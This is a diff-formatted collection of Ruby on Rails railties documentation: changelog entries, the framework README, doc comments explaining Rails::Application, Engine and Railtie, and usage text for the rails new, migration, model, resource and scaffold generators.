+
+ *Aleksey Magusev*
+
+* Allow scaffold/model/migration generators to accept a `polymorphic` modifier
+ for `references`/`belongs_to`, for instance
+
+ rails g model Product supplier:references{polymorphic}
+
+ will generate the model with `belongs_to :supplier, polymorphic: true`
+ association and appropriate migration.
+
+ *Aleksey Magusev*
+
+* Set `config.active_record.migration_error` to `:page_load` for development.
+
+ *Richard Schneeman*
+
+* Add runner to `Rails::Railtie` as a hook called just after runner starts.
+
+ *José Valim & kennyj*
+
+* Add `/rails/info/routes` path, displays same information as `rake routes` .
+
+ *Richard Schneeman & Andrew White*
+
+* Improved `rake routes` output for redirects.
+
+ *Łukasz Strzałkowski & Andrew White*
+
+* Load all environments available in `config.paths["config/environments"]`.
+
+ *Piotr Sarnacki*
+
+* Remove `Rack::SSL` in favour of `ActionDispatch::SSL`.
+
+ *Rafael Mendonça França*
+
+* Remove Active Resource from Rails framework.
+
+ *Prem Sichangrist*
+
+* Allow to set class that will be used to run as a console, other than IRB, with `Rails.application.config.console=`. It's best to add it to `console` block.
+
+ Example:
+
+ # it can be added to config/application.rb
+ console do
+ # this block is called only when running console,
+ # so we can safely require pry here
+ require "pry"
+ config.console = Pry
+ end
+
+ *Piotr Sarnacki*
+
+* Add convenience `hide!` method to Rails generators to hide current generator
+ namespace from showing when running `rails generate`.
+
+ *Carlos Antonio da Silva*
+
+* Rails::Plugin has gone. Instead of adding plugins to vendor/plugins use gems or bundler with path or git dependencies.
+
+ *Santiago Pastorino*
+
+* Set config.action_mailer.async = true to turn on asynchronous
+ message delivery.
+
+ *Brian Cardarella*
+
+Please check [3-2-stable](https://github.com/rails/rails/blob/3-2-stable/railties/CHANGELOG.md) for previous changes.

+== Welcome to \Rails
+
+\Rails is a web-application framework that includes everything needed to create
+database-backed web applications according to the {Model-View-Controller (MVC)}[http://en.wikipedia.org/wiki/Model%E2%80%93view%E2%80%93controller] pattern.
+
+Understanding the MVC pattern is key to understanding \Rails. MVC divides your application
+into three layers, each with a specific responsibility.
+
+The View layer is composed of "templates" that are responsible for providing
+appropriate representations of your application's resources. Templates
+can come in a variety of formats, but most view templates are \HTML with embedded Ruby
+code (.erb files).
+
+The Model layer represents your domain model (such as Account, Product, Person, Post)
+and encapsulates the business logic that is specific to your application. In \Rails,
+database-backed model classes are derived from ActiveRecord::Base. Active Record allows
+you to present the data from database rows as objects and embellish these data objects
+with business logic methods. Although most \Rails models are backed by a database, models
+can also be ordinary Ruby classes, or Ruby classes that implement a set of interfaces as
+provided by the ActiveModel module. You can read more about Active Record in its
+{README}[link:/activerecord/README.rdoc].
+
+The Controller layer is responsible for handling incoming HTTP requests and providing a
+suitable response. Usually this means returning \HTML, but \Rails controllers can also
+generate XML, JSON, PDFs, mobile-specific views, and more. Controllers manipulate models
+and render view templates in order to generate the appropriate HTTP response.
+
+In \Rails, the Controller and View layers are handled together by Action Pack.
+These two layers are bundled in a single package due to their heavy interdependence.
+This is unlike the relationship between Active Record and Action Pack, which are
+independent. Each of these packages can be used independently outside of \Rails. You
+can read more about Action Pack in its {README}[link:/actionpack/README.rdoc].
+
+== Getting Started
+
+1. Install \Rails at the command prompt if you haven't yet:
+
+ gem install rails
+
+2. At the command prompt, create a new \Rails application:
+
+ rails new myapp
+
+ where "myapp" is the application name.
+
+3. Change directory to +myapp+ and start the web server:
+
+ cd myapp; rails server
+
+ Run with <tt>--help</tt> or <tt>-h</tt> for options.
+
+4. Go to http://localhost:3000 and you'll see:
+
+ "Welcome aboard: You're riding Ruby on Rails!"
+
+5. Follow the guidelines to start developing your application. You may find the following resources handy:
+
+* The README file created within your application.
+* {Getting Started with \Rails}[http://guides.rubyonrails.org/getting_started.html].
+* {Ruby on \Rails Tutorial}[http://ruby.railstutorial.org/ruby-on-rails-tutorial-book].
+* {Ruby on \Rails Guides}[http://guides.rubyonrails.org].
+* {The API Documentation}[http://api.rubyonrails.org].
+
+== Contributing
+
+We encourage you to contribute to Ruby on \Rails! Please check out the {Contributing to Rails
+guide}[http://edgeguides.rubyonrails.org/contributing_to_ruby_on_rails.html] for guidelines about how
+to proceed. {Join us}[http://contributors.rubyonrails.org]!
+
+
+== License
+
+Ruby on \Rails is released under the {MIT License}[http://www.opensource.org/licenses/MIT].

+module Rails
+ # In Rails 3.0, a Rails::Application object was introduced which is nothing more than
+ # an Engine but with the responsibility of coordinating the whole boot process.
+ #
+ # == Initialization
+ #
+ # Rails::Application is responsible for executing all railties and engines
+ # initializers. It also executes some bootstrap initializers (check
+ # Rails::Application::Bootstrap) and finishing initializers, after all the others
+ # are executed (check Rails::Application::Finisher).
+ #
+ # == Configuration
+ #
+ # Besides providing the same configuration as Rails::Engine and Rails::Railtie,
+ # the application object has several specific configurations, for example
+ # "cache_classes", "consider_all_requests_local", "filter_parameters",
+ # "logger" and so forth.
+ #
+ # Check Rails::Application::Configuration to see them all.
+ #
+ # == Routes
+ #
+ # The application object is also responsible for holding the routes and reloading routes
+ # whenever the files change in development.
+ #
+ # == Middlewares
+ #
+ # The Application is also responsible for building the middleware stack.
+ #
+ # == Booting process
+ #
+ # The application is also responsible for setting up and executing the booting
+ # process. From the moment you require "config/application.rb" in your app,
+ # the booting process goes like this:
+ #
+ # 1) require "config/boot.rb" to setup load paths
+ # 2) require railties and engines
+ # 3) Define Rails.application as "class MyApp::Application < Rails::Application"
+ # 4) Run config.before_configuration callbacks
+ # 5) Load config/environments/ENV.rb
+ # 6) Run config.before_initialize callbacks
+ # 7) Run Railtie#initializer defined by railties, engines and application.
+ # One by one, each engine sets up its load paths, routes and runs its config/initializers/* files.
+ # 8) Custom Railtie#initializers added by railties, engines and applications are executed
+ # 9) Build the middleware stack and run to_prepare callbacks
+ # 10) Run config.before_eager_load and eager_load! if eager_load is true
+ # 11) Run config.after_initialize callbacks

+require 'pathname'

+
+module Rails
+ # <tt>Rails::Engine</tt> allows you to wrap a specific Rails application or subset of
+ # functionality and share it with other applications or within a larger packaged application.
+ # Since Rails 3.0, every <tt>Rails::Application</tt> is just an engine, which allows for simple
+ # feature and application sharing.
+ #
+ # Any <tt>Rails::Engine</tt> is also a <tt>Rails::Railtie</tt>, so the same
+ # methods (like <tt>rake_tasks</tt> and +generators+) and configuration
+ # options that are available in railties can also be used in engines.
+ #
+ # == Creating an Engine
+ #
+ # In Rails versions prior to 3.0, your gems automatically behaved as engines, however,
+ # this coupled Rails to Rubygems. Since Rails 3.0, if you want a gem to automatically
+ # behave as an engine, you have to specify an +Engine+ for it somewhere inside
+ # your plugin's +lib+ folder (similar to how we specify a +Railtie+):
+ #
+ # # lib/my_engine.rb
+ # module MyEngine
+ # class Engine < Rails::Engine
+ # end
+ # end
+ #
+ # Then ensure that this file is loaded at the top of your <tt>config/application.rb</tt>
+ # (or in your +Gemfile+) and it will automatically load models, controllers and helpers
+ # inside +app+, load routes at <tt>config/routes.rb</tt>, load locales at
+ # <tt>config/locales/*</tt>, and load tasks at <tt>lib/tasks/*</tt>.
+ #
+ # == Configuration
+ #
+ # Besides the +Railtie+ configuration which is shared across the application, in a
+ # <tt>Rails::Engine</tt> you can access <tt>autoload_paths</tt>, <tt>eager_load_paths</tt>
+ # and <tt>autoload_once_paths</tt>, which, differently from a <tt>Railtie</tt>, are scoped to
+ # the current engine.
+ #
+ # class MyEngine < Rails::Engine
+ # # Add a load path for this specific Engine
+ # config.autoload_paths << File.expand_path("../lib/some/path", __FILE__)
+ #
+ # initializer "my_engine.add_middleware" do |app|
+ # app.middleware.use MyEngine::Middleware
+ # end
+ # end
+ #
+ # == Generators
+ #
+ # You can set up generators for engines with <tt>config.generators</tt> method:
+ #
+ # class MyEngine < Rails::Engine
+ # config.generators do |g|
+ # g.orm :active_record
+ # g.template_engine :erb
+ # g.test_framework :test_unit
+ # end
+ # end
+ #
+ # You can also set generators for an application by using <tt>config.app_generators</tt>:
+ #
+ # class MyEngine < Rails::Engine
+ # # note that you can also pass block to app_generators in the same way you
+ # # can pass it to generators method
+ # config.app_generators.orm :datamapper
+ # end
+ #
+ # == Paths
+ #
+ # Since Rails 3.0, applications and engines have more flexible path configuration (as
+ # opposed to the previous hardcoded path configuration). This means that you are not
+ # required to place your controllers at <tt>app/controllers</tt>, but in any place
+ # which you find convenient.
+ #
+ # For example, let's suppose you want to place your controllers in <tt>lib/controllers</tt>.
+ # You can set that as an option:
+ #
+ # class MyEngine < Rails::Engine
+ # paths["app/controllers"] = "lib/controllers"
+ # end
+ #
+ # You can also have your controllers loaded from both <tt>app/controllers</tt> and
+ # <tt>lib/controllers</tt>:
+ #
+ # class MyEngine < Rails::Engine
+ # paths["app/controllers"] << "lib/controllers"
+ # end
+ #
+ # The available paths in an engine are:
+ #
+ # class MyEngine < Rails::Engine
+ # paths["app"] # => ["app"]
+ # paths["app/controllers"] # => ["app/controllers"]
+ # paths["app/helpers"] # => ["app/helpers"]
+ # paths["app/models"] # => ["app/models"]
+ # paths["app/views"] # => ["app/views"]
+ # paths["lib"] # => ["lib"]
+ # paths["lib/tasks"] # => ["lib/tasks"]
+ # paths["config"] # => ["config"]
+ # paths["config/initializers"] # => ["config/initializers"]
+ # paths["config/locales"] # => ["config/locales"]
+ # paths["config/routes"] # => ["config/routes.rb"]
+ # end
+ #
+ # The <tt>Application</tt> class adds a couple more paths to this set. And as in your
+ # <tt>Application</tt>, all folders under +app+ are automatically added to the load path.
+ # If you have an <tt>app/services</tt> folder for example, it will be added by default.
+ #
+ # == Endpoint
+ #
+ # An engine can be also a rack application. It can be useful if you have a rack application that
+ # you would like to wrap with +Engine+ and provide some of the +Engine+'s features.
+ #
+ # To do that, use the +endpoint+ method:
+ #
+ # module MyEngine
+ # class Engine < Rails::Engine
+ # endpoint MyRackApplication
+ # end
+ # end
+ #
+ # Now you can mount your engine in application's routes just like that:
+ #
+ # MyRailsApp::Application.routes.draw do
+ # mount MyEngine::Engine => "/engine"
+ # end
+ #
+ # == Middleware stack
+ #
+ # As an engine can now be a rack endpoint, it can also have a middleware
+ # stack. The usage is exactly the same as in <tt>Application</tt>:
+ #
+ # module MyEngine
+ # class Engine < Rails::Engine
+ # middleware.use SomeMiddleware
+ # end
+ # end
+ #
+ # == Routes
+ #
+ # If you don't specify an endpoint, routes will be used as the default
+ # endpoint. You can use them just like you use an application's routes:
+ #
+ # # ENGINE/config/routes.rb
+ # MyEngine::Engine.routes.draw do
+ # get "/" => "posts#index"
+ # end
+ #
+ # == Mount priority
+ #
+ # Note that now there can be more than one router in your application, and it's better to avoid
+ # passing requests through many routers. Consider this situation:
+ #
+ # MyRailsApp::Application.routes.draw do
+ # mount MyEngine::Engine => "/blog"
+ # get "/blog/omg" => "main#omg"
+ # end
+ #
+ # +MyEngine+ is mounted at <tt>/blog</tt>, and <tt>/blog/omg</tt> points to application's
+ # controller. In such a situation, requests to <tt>/blog/omg</tt> will go through +MyEngine+,
+ # and if there is no such route in +Engine+'s routes, it will be dispatched to <tt>main#omg</tt>.
+ # It's much better to swap that:
+ #
+ # MyRailsApp::Application.routes.draw do
+ # get "/blog/omg" => "main#omg"
+ # mount MyEngine::Engine => "/blog"
+ # end
+ #
+ # Now, +Engine+ will get only requests that were not handled by +Application+.
+ #
+ # == Engine name
+ #
+ # There are some places where an Engine's name is used:
+ #
+ # * routes: when you mount an Engine with <tt>mount(MyEngine::Engine => '/my_engine')</tt>,
+ # it's used as default <tt>:as</tt> option
+ # * rake task for installing migrations <tt>my_engine:install:migrations</tt>
+ #
+ # Engine name is set by default based on class name. For <tt>MyEngine::Engine</tt> it will be
+ # <tt>my_engine_engine</tt>. You can change it manually using the <tt>engine_name</tt> method:
+ #
+ # module MyEngine
+ # class Engine < Rails::Engine
+ # engine_name "my_engine"
+ # end
+ # end
+ #
+ # == Isolated Engine
+ #
+ # Normally when you create controllers, helpers and models inside an engine, they are treated
+ # as if they were created inside the application itself. This means that all helpers and
+ # named routes from the application will be available to your engine's controllers as well.
+ #
+ # However, sometimes you want to isolate your engine from the application, especially if your engine
+ # has its own router. To do that, you simply need to call +isolate_namespace+. This method requires
+ # you to pass a module where all your controllers, helpers and models should be nested to:
+ #
+ # module MyEngine
+ # class Engine < Rails::Engine
+ # isolate_namespace MyEngine
+ # end
+ # end
+ #
+ # With such an engine, everything that is inside the +MyEngine+ module will be isolated from
+ # the application.
+ #
+ # Consider such controller:
+ #
+ # module MyEngine
+ # class FooController < ActionController::Base
+ # end
+ # end
+ #
+ # If an engine is marked as isolated, +FooController+ has access only to helpers from +Engine+ and
+ # <tt>url_helpers</tt> from <tt>MyEngine::Engine.routes</tt>.
+ #
+ # The next thing that changes in isolated engines is the behavior of routes. Normally, when you namespace
+ # your controllers, you also need to do namespace all your routes. With an isolated engine,
+ # the namespace is applied by default, so you can ignore it in routes:
+ #
+ # MyEngine::Engine.routes.draw do
+ # resources :articles
+ # end
+ #
+ # The routes above will automatically point to <tt>MyEngine::ArticlesController</tt>. Furthermore, you don't
+ # need to use longer url helpers like <tt>my_engine_articles_path</tt>. Instead, you should simply use
+ # <tt>articles_path</tt> as you would do with your application.
+ #
+ # To make that behavior consistent with other parts of the framework, an isolated engine also has influence on
+ # <tt>ActiveModel::Naming</tt>. When you use a namespaced model, like <tt>MyEngine::Article</tt>, it will normally
+ # use the prefix "my_engine". In an isolated engine, the prefix will be omitted in url helpers and
+ # form fields for convenience.
+ #
+ # polymorphic_url(MyEngine::Article.new) # => "articles_path"
+ #
+ # form_for(MyEngine::Article.new) do
+ # text_field :title # => <input type="text" name="article[title]" id="article_title" />
+ # end
+ #
+ # Additionally, an isolated engine will set its name according to namespace, so
+ # MyEngine::Engine.engine_name will be "my_engine". It will also set MyEngine.table_name_prefix
+ # to "my_engine_", changing the MyEngine::Article model to use the my_engine_articles table.
+ #
+ # == Using Engine's routes outside Engine
+ #
+ # Since you can now mount an engine inside application's routes, you do not have direct access to +Engine+'s
+ # <tt>url_helpers</tt> inside +Application+. When you mount an engine in an application's routes, a special helper is
+ # created to allow you to do that. Consider such a scenario:
+ #
+ # # config/routes.rb
+ # MyApplication::Application.routes.draw do
+ # mount MyEngine::Engine => "/my_engine", as: "my_engine"
+ # get "/foo" => "foo#index"
+ # end
+ #
+ # Now, you can use the <tt>my_engine</tt> helper inside your application:
+ #
+ # class FooController < ApplicationController
+ # def index
+ # my_engine.root_url #=> /my_engine/
+ # end
+ # end
+ #
+ # There is also a <tt>main_app</tt> helper that gives you access to application's routes inside Engine:
+ #
+ # module MyEngine
+ # class BarController
+ # def index
+ # main_app.foo_path #=> /foo
+ # end
+ # end
+ # end
+ #
+ # Note that the <tt>:as</tt> option given to mount takes the <tt>engine_name</tt> as default, so most of the time
+ # you can simply omit it.
+ #
+ # Finally, if you want to generate a url to an engine's route using
+ # <tt>polymorphic_url</tt>, you also need to pass the engine helper. Let's
+ # say that you want to create a form pointing to one of the engine's routes.
+ # All you need to do is pass the helper as the first element in array with
+ # attributes for url:
+ #
+ # form_for([my_engine, @user])
+ #
+ # This code will use <tt>my_engine.user_path(@user)</tt> to generate the proper route.
+ #
+ # == Isolated engine's helpers
+ #
+ # Sometimes you may want to isolate engine, but use helpers that are defined for it.
+ # If you want to share just a few specific helpers you can add them to application's
+ # helpers in ApplicationController:
+ #
+ # class ApplicationController < ActionController::Base
+ # helper MyEngine::SharedEngineHelper
+ # end
+ #
+ # If you want to include all of the engine's helpers, you can use #helper method on an engine's
+ # instance:
+ #
+ # class ApplicationController < ActionController::Base
+ # helper MyEngine::Engine.helpers
+ # end
+ #
+ # It will include all of the helpers from engine's directory. Take into account that this does
+ # not include helpers defined in controllers with helper_method or other similar solutions,
+ # only helpers defined in the helpers directory will be included.
+ #
+ # == Migrations & seed data
+ #
+ # Engines can have their own migrations. The default path for migrations is exactly the same
+ # as in application: <tt>db/migrate</tt>
+ #
+ # To use engine's migrations in application you can use rake task, which copies them to
+ # application's dir:
+ #
+ # rake ENGINE_NAME:install:migrations
+ #
+ # Note that some of the migrations may be skipped if a migration with the same name already exists
+ # in application. In such a situation you must decide whether to leave that migration or rename the
+ # migration in the application and rerun copying migrations.
+ #
+ # If your engine has migrations, you may also want to prepare data for the database in
+ # the <tt>db/seeds.rb</tt> file. You can load that data using the <tt>load_seed</tt> method, e.g.
+ #
+ # MyEngine::Engine.load_seed
+ #
+ # == Loading priority
+ #
+ # In order to change engine's priority you can use +config.railties_order+ in main application.
+ # It will affect the priority of loading views, helpers, assets and all the other files
+ # related to engine or application.
+ #
+ # # load Blog::Engine with highest priority, followed by application and other railties
+ # config.railties_order = [Blog::Engine, :main_app, :all]

+ # Invoke a generator based on the value supplied by the user to the

+ #
+ # ==== Examples
+ #
+ # module Rails::Generators
+ # class ControllerGenerator < Base
+ # hook_for :test_framework, aliases: "-t"
+ # end
+ # end
+ #
+ # The example above will create a test framework option and will invoke
+ # a generator based on the user supplied value.
+ #
+ # For example, if the user invoke the controller generator as:
+ #
+ # rails generate controller Account --test-framework=test_unit
+ #
+ # The controller generator will then try to invoke the following generators:
+ #
+ # "rails:test_unit", "test_unit:controller", "test_unit"
+ #
+ # Notice that "rails:generators:test_unit" could be loaded as well, what
+ # Rails looks for is the first and last parts of the namespace. This is what
+ # allows any test framework to hook into Rails as long as it provides any
+ # of the hooks above.
+ #
+ # ==== Options
+ #
+ # The first and last part used to find the generator to be invoked are
+ # guessed based on class invokes hook_for, as noticed in the example above.
+ # This can be customized with two options: :base and :as.
+ #
+ # Let's suppose you are creating a generator that needs to invoke the
+ # controller generator from test unit. Your first attempt is:
+ #
+ # class AwesomeGenerator < Rails::Generators::Base
+ # hook_for :test_framework
+ # end
+ #
+ # The lookup in this case for test_unit as input is:
+ #
+ # "test_unit:awesome", "test_unit"
+ #
+ # Which is not the desired lookup. You can change it by providing the
+ # :as option:
+ #
+ # class AwesomeGenerator < Rails::Generators::Base
+ # hook_for :test_framework, as: :controller
+ # end
+ #
+ # And now it will lookup at:
+ #
+ # "test_unit:controller", "test_unit"
+ #
+ # Similarly, if you want it to also lookup in the rails namespace, you just
+ # need to provide the :base value:
+ #
+ # class AwesomeGenerator < Rails::Generators::Base
+ # hook_for :test_framework, in: :rails, as: :controller
+ # end
+ #
+ # And the lookup is exactly the same as previously:
+ #
+ # "rails:test_unit", "test_unit:controller", "test_unit"
+ #
+ # ==== Switches
+ #
+ # All hooks come with switches for user interface. If you do not want
+ # to use any test framework, you can do:
+ #
+ # rails generate controller Account --skip-test-framework
+ #
+ # Or similarly:
+ #
+ # rails generate controller Account --no-test-framework
+ #
+ # ==== Boolean hooks
+ #
+ # In some cases, you may want to provide a boolean hook. For example, webrat
+ # developers might want to have webrat available on controller generator.
+ # This can be achieved as:
+ #
+ # Rails::Generators::ControllerGenerator.hook_for :webrat, type: :boolean
+ #
+ # Then, if you want webrat to be invoked, just supply:
+ #
+ # rails generate controller Account --webrat
+ #
+ # The hooks lookup is similar as above:
+ #
+ # "rails:generators:webrat", "webrat:generators:controller", "webrat"
+ #
+ # ==== Custom invocations
+ #
+ # You can also supply a block to hook_for to customize how the hook is
+ # going to be invoked. The block receives two arguments, an instance
+ # of the current class and the class to be invoked.
+ #
+ # For example, in the resource generator, the controller should be invoked
+ # with a pluralized class name. But by default it is invoked with the same
+ # name as the resource generator, which is singular. To change this, we
+ # can give a block to customize how the controller can be invoked.
+ #
+ # hook_for :resource_controller do |instance, controller|
+ # instance.invoke controller, [ instance.name.pluralize ]
+ # end
+ #

+Description:
+ The 'rails new' command creates a new Rails application with a default
+ directory structure and configuration at the path you specify.
+
+ You can specify extra command-line arguments to be used every time
+ 'rails new' runs in the .railsrc configuration file in your home directory.
+
+ Note that the arguments specified in the .railsrc file don't affect the
+ defaults values shown above in this help message.
+
+Example:
+ rails new ~/Code/Ruby/weblog
+
+ This generates a skeletal Rails installation in ~/Code/Ruby/weblog.
+ See the README in the newly created application to get going.

+Description:
+ Stubs out a new database migration. Pass the migration name, either

+
+ A migration class is generated in db/migrate prefixed by a timestamp of the current date and time.
+
+ You can name your migration in either of these formats to generate add/remove
+ column lines from supplied attributes: AddColumnsToTable or RemoveColumnsFromTable
+
+Example:
+ `rails generate migration AddSslFlag`
+
+ If the current date is May 14, 2008 and the current time 09:09:12, this creates the AddSslFlag migration
+ db/migrate/20080514090912_add_ssl_flag.rb
+
+ `rails generate migration AddTitleBodyToPost title:string body:text published:boolean`
+
+ This will create the AddTitleBodyToPost in db/migrate/20080514090912_add_title_body_to_post.rb with this in the Change migration:
+
+ add_column :posts, :title, :string
+ add_column :posts, :body, :text
+ add_column :posts, :published, :boolean
+
+Migration names containing JoinTable will generate join tables for use with
+has_and_belongs_to_many associations.
+
+Example:
+ `rails g migration CreateMediaJoinTable artists musics:uniq`
+
+ will create the migration
+

+Description:
+ Stubs out a new model. Pass the model name, either CamelCased or
+ under_scored, and an optional list of attribute pairs as arguments.
+
+ Attribute pairs are field:type arguments specifying the
+ model's attributes. Timestamps are added by default, so you don't have to
+ specify them by hand as 'created_at:datetime updated_at:datetime'.
+
+ You don't have to think up every attribute up front, but it helps to
+ sketch out a few so you can start working with the model immediately.
+
+ This generator invokes your configured ORM and test framework, which
+ defaults to ActiveRecord and TestUnit.
+
+ Finally, if --parent option is given, it's used as superclass of the
+ created model. This allows you create Single Table Inheritance models.
+
+ If you pass a namespaced model name (e.g. admin/account or Admin::Account)
+ then the generator will create a module with a table_name_prefix method
+ to prefix the model's table name with the module name (e.g. admin_account)
+
+Available field types:
+
+ Just after the field name you can specify a type like text or boolean.
+ It will generate the column with the associated SQL type. For instance:
+
+ `rails generate model post title:string body:text`
+
+ will generate a title column with a varchar type and a body column with a text
+ type. You can use the following types:
+
+ integer
+ primary_key
+ decimal
+ float
+ boolean
+ binary
+ string
+ text
+ date
+ time
+ datetime
+ timestamp
+
+ You can also consider `references` as a kind of type. For instance, if you run:
+
+ `rails generate model photo title:string album:references`
+
+ It will generate an album_id column. You should generate this kind of fields when
+ you will use a `belongs_to` association for instance. `references` also support
+ the polymorphism, you could enable the polymorphism like this:
+
+ `rails generate model product supplier:references{polymorphic}`
+
+ For integer, string, text and binary fields an integer in curly braces will
+ be set as the limit:
+
+ `rails generate model user pseudo:string{30}`
+
+ For decimal two integers separated by a comma in curly braces will be used
+ for precision and scale:
+
+ `rails generate model product price:decimal{10,2}`
+
+ You can add a `:uniq` or `:index` suffix for unique or standard indexes
+ respectively:
+
+ `rails generate model user pseudo:string:uniq`
+ `rails generate model user pseudo:string:index`
+
+ You can combine any single curly brace option with the index options:
+
+ `rails generate model user username:string{30}:uniq`
+ `rails generate model product supplier:references{polymorphic}:index`
+
+
+Examples:
+ `rails generate model account`
+
+ For ActiveRecord and TestUnit it creates:
+
+ Model: app/models/account.rb
+ Test: test/models/account_test.rb
+ Fixtures: test/fixtures/accounts.yml
+ Migration: db/migrate/XXX_create_accounts.rb
+
+ `rails generate model post title:string body:text published:boolean`
+
+ Creates a Post model with a string title, text body, and published flag.
+
+ `rails generate model admin/account`
+
+ For ActiveRecord and TestUnit it creates:
+
+ Module: app/models/admin.rb
+ Model: app/models/admin/account.rb

+Description:
+ The 'rails plugin new' command creates a skeleton for developing any
+ kind of Rails extension with ability to run tests using dummy Rails
+ application.
+
+Example:
+ rails plugin new ~/Code/Ruby/blog
+
+ This generates a skeletal Rails plugin in ~/Code/Ruby/blog.
+ See the README in the newly created plugin to get going.

+Description:
+ Stubs out a new resource including an empty model and controller suitable

+
+ Attribute pairs are field:type arguments specifying the

+
+ You don't have to think up every attribute up front, but it helps to
+ sketch out a few so you can start working with the model immediately.
+
+ This generator invokes your configured ORM and test framework, besides
+ creating helpers and add routes to config/routes.rb.
+
+ Unlike the scaffold generator, the resource generator does not create
+ views or add any methods to the generated controller.
+
+Examples:
+ `rails generate resource post` # no attributes
+ `rails generate resource post title:string body:text published:boolean`
+ `rails generate resource purchase order_id:integer amount:decimal`

+Description:
+ Scaffolds an entire resource, from model and migration to controller and
+ views, along with a full test suite. The resource is ready to use as a
+ starting point for your RESTful, resource-oriented application.
+
+ Pass the name of the model (in singular form), either CamelCased or
+ under_scored, as the first argument, and an optional list of attribute
+ pairs.
+
+ Attributes are field arguments specifying the model's attributes. You can
+ optionally pass the type and an index to each field. For instance:
+ "title body:text tracking_id:integer:uniq" will generate a title field of
+ string type, a body with text type and a tracking_id as an integer with an
+ unique index. "index" could also be given instead of "uniq" if one desires
+ a non unique index.
+
+ Timestamps are added by default, so you don't have to specify them by hand
+ as 'created_at:datetime updated_at:datetime'.
+
+ You don't have to think up every attribute up front, but it helps to
+ sketch out a few so you can start working with the resource immediately.
+
+ For example, 'scaffold post title body:text published:boolean' gives
+ you a model with those three attributes, a controller that handles
+ the create/show/update/destroy, forms to create and edit your posts, and
+ an index that lists them all, as well as a resources :posts declaration
+ in config/routes.rb.
+
+ If you want to remove all the generated files, run
+ 'rails destroy scaffold ModelName'.
+
+Examples:
+ `rails generate scaffold post`
+ `rails generate scaffold post title body:text published:boolean`
+ `rails generate scaffold purchase amount:decimal tracking_id:integer:uniq`

+module Rails
+ # Railtie is the core of the Rails framework and provides several hooks to extend
+ # Rails and/or modify the initialization process.
+ #
+ # Every major component of Rails (Action Mailer, Action Controller,
+ # Action View and Active Record) is a Railtie. Each of
+ # them is responsible for their own initialization. This makes Rails itself
+ # absent of any component hooks, allowing other components to be used in
+ # place of any of the Rails defaults.
+ #
+ # Developing a Rails extension does _not_ require any implementation of
+ # Railtie, but if you need to interact with the Rails framework during
+ # or after boot, then Railtie is needed.
+ #
+ # For example, an extension doing any of the following would require Railtie:
+ #
+ # * creating initializers
+ # * configuring a Rails framework for the application, like setting a generator
+ # * +adding config.*+ keys to the environment
+ # * setting up a subscriber with ActiveSupport::Notifications
+ # * adding rake tasks
+ #
+ # == Creating your Railtie
+ #
+ # To extend Rails using Railtie, create a Railtie class which inherits
+ # from Rails::Railtie within your extension's namespace. This class must be
+ # loaded during the Rails boot process.
+ #
+ # The following example demonstrates an extension which can be used with or without Rails.
+ #
+ # # lib/my_gem/railtie.rb
+ # module MyGem
+ # class Railtie < Rails::Railtie
+ # end
+ # end
+ #
+ # # lib/my_gem.rb
+ # require 'my_gem/railtie' if defined?(Rails)
+ #
+ # == Initializers
+ #
+ # To add an initialization step from your Railtie to Rails boot process, you just need
+ # to create an initializer block:
+ #
+ # class MyRailtie < Rails::Railtie
+ # initializer "my_railtie.configure_rails_initialization" do
+ # # some initialization behavior
+ # end
+ # end
+ #
+ # If specified, the block can also receive the application object, in case you
+ # need to access some application specific configuration, like middleware:
+ #
+ # class MyRailtie < Rails::Railtie
+ # initializer "my_railtie.configure_rails_initialization" do |app|
+ # app.middleware.use MyRailtie::Middleware
+ # end
+ # end
+ #
+ # Finally, you can also pass :before and :after as option to initializer, in case
+ # you want to couple it with a specific step in the initialization process.
+ #
+ # == Configuration
+ #
+ # Inside the Railtie class, you can access a config object which contains configuration
+ # shared by all railties and the application:
+ #
+ # class MyRailtie < Rails::Railtie
+ # # Customize the ORM
+ # config.app_generators.orm :my_railtie_orm
+ #
+ # # Add a to_prepare block which is executed once in production
+ # # and before each request in development
+ # config.to_prepare do
+ # MyRailtie.setup!
+ # end
+ # end
+ #
+ # == Loading rake tasks and generators
+ #
+ # If your railtie has rake tasks, you can tell Rails to load them through the method
+ # rake_tasks:
+ #
+ # class MyRailtie < Rails::Railtie
+ # rake_tasks do
+ # load "path/to/my_railtie.tasks"
+ # end
+ # end
+ #
+ # By default, Rails load generators from your load path. However, if you want to place
+ # your generators at a different location, you can specify in your Railtie a block which
+ # will load them during normal generators lookup:
+ #
+ # class MyRailtie < Rails::Railtie
+ # generators do
+ # require "path/to/my_railtie_generator"
+ # end
+ # end
+ #
+ # == Application and Engine
+ #
+ # A Rails::Engine is nothing more than a Railtie with some initializers already set.
+ # And since Rails::Application is an engine, the same configuration described here
+ # can be used in both.
+ #
+ # Be sure to look at the documentation of those specific classes for more information.
